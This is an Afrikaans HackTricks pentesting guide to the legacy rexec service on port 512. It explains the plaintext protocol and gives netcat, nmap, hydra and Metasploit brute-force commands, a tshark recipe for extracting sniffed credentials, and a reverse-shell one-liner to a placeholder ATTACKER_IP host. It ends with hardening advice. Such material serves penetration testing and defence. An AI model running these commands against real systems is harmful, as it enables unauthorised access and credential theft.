512 - Pentesting Rexec

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

Rexec (remote exec) is een van die oorspronklike Berkeley r-dienste suite (saam met rlogin, rsh, …). Dit bied 'n afgeleĆ« opdrag-uitvoering vermoĆ« geverifieer slegs met 'n duidelike teks gebruikersnaam en wagwoord. Die protokol is in die vroeĆ« 1980's gedefinieer (sien RFC 1060) en word vandag beskou as onveilig deur ontwerp. Nietemin is dit steeds standaard geaktiveer in sommige erflike UNIX / netwerk-aangeskakelde toerusting en verskyn af en toe tydens interne pentests.

Standaard Poort: TCP 512 (exec)

PORT    STATE SERVICE
512/tcp open  exec

šŸ”„ Alle verkeer – insluitend geloofsbriewe – word ongeĆ«nkripteer oorgedra. Enige iemand met die vermoĆ« om die netwerk te snuffel, kan die gebruikersnaam, wagwoord en opdrag herstel.

Protokol vinnige oorsig

  1. Kliƫnt verbind met TCP 512.
  2. Kliƫnt stuur drie NUL-beƫindigde stringe:
  • die poortnommer (as ASCII) waar dit wil ontvang stdout/stderr (dikwels 0),
  • die gebruikersnaam,
  • die wagwoord.
  1. 'n Finale NUL-beƫindigde string met die opdrag om uit te voer, word gestuur.
  2. Die bediener antwoord met 'n enkele 8-bis statusbyte (0 = sukses, 1 = mislukking) gevolg deur die opdraguitset.

Dit beteken jy kan die uitruil herproduseer met niks meer as echo -e en nc:

bash
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512

As die geloofsbriewe geldig is, sal jy die uitvoer van id regstreeks terugkry op dieselfde verbinding.

Handmatige gebruik met die kliƫnt

Baie Linux verspreidings verskaf steeds die ou kliƫnt binne die inetutils-rexec / rsh-client pakket:

bash
rexec -l user -p password <target> "uname -a"

As -p weggelaat word, sal die kliƫnt interaktief vir die wagwoord vra (sigbaar op die draad in duidelike teks!).


Enumerasie & Brute-forcing

Brute-force

Nmap

bash
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration

nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>

Die rexec-brute NSE gebruik die protokol hierbo beskryf om akrediteerbesonderhede baie vinnig te probeer.

Hydra / Medusa / Ncrack

bash
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8

hydra het 'n toegewyde rexec module en bly die vinnigste offline bruteforcer. medusa (-M REXEC) en ncrack (rexec module) kan op dieselfde manier gebruik word.

Metasploit

use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

Die module sal 'n shell op sukses genereer en die geloofsbriewe in die databasis stoor.


Snuffel geloofsbriewe

Omdat alles in duidelike teks is, is netwerkopnames van onskatbare waarde. Met 'n kopie van die verkeer kan jy geloofsbriewe onttrek sonder om die teiken aan te raak:

bash
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}'  # username:password -> command

(In Wireshark, stel Decode As …​ TCP 512 → REXEC in om mooi geparseerde velde te sien.)


Post-Exploitation wenke

  • Opdragte word uitgevoer met die voorregte van die verskafde gebruiker. As /etc/pam.d/rexec verkeerd geconfigureer is (bv. pam_rootok), is root shells soms moontlik.
  • Rexec ignoreer die gebruiker se shell en voer die opdrag uit via /bin/sh -c <cmd>. Jy kan dus tipiese shell-escape truuks (;, $( ), backticks) gebruik om verskeie opdragte te ketting of om omgekeerde shells te genereer:
bash
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
  • Wagwoorde word dikwels gestoor in ~/.netrc op ander stelsels; as jy een gasheer kompromitteer, kan jy dit hergebruik vir laterale beweging.

Versterking / Ontdekking

  • Moet nie rexec blootstel nie; vervang dit met SSH. Virtueel alle moderne inetd superservers kommentaar die diens standaard uit.
  • As jy dit moet hou, beperk toegang met TCP wrappers (/etc/hosts.allow) of firewall reĆ«ls en handhaaf sterk per-rekening wagwoorde.
  • Monitor vir verkeer na :512 en vir rexecd proseslanse. 'n Enkele pakketvang is genoeg om 'n kompromie te ontdek.
  • Deaktiveer rexec, rlogin, rsh saam – hulle deel die meeste van dieselfde kodebasis en swakhede.

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks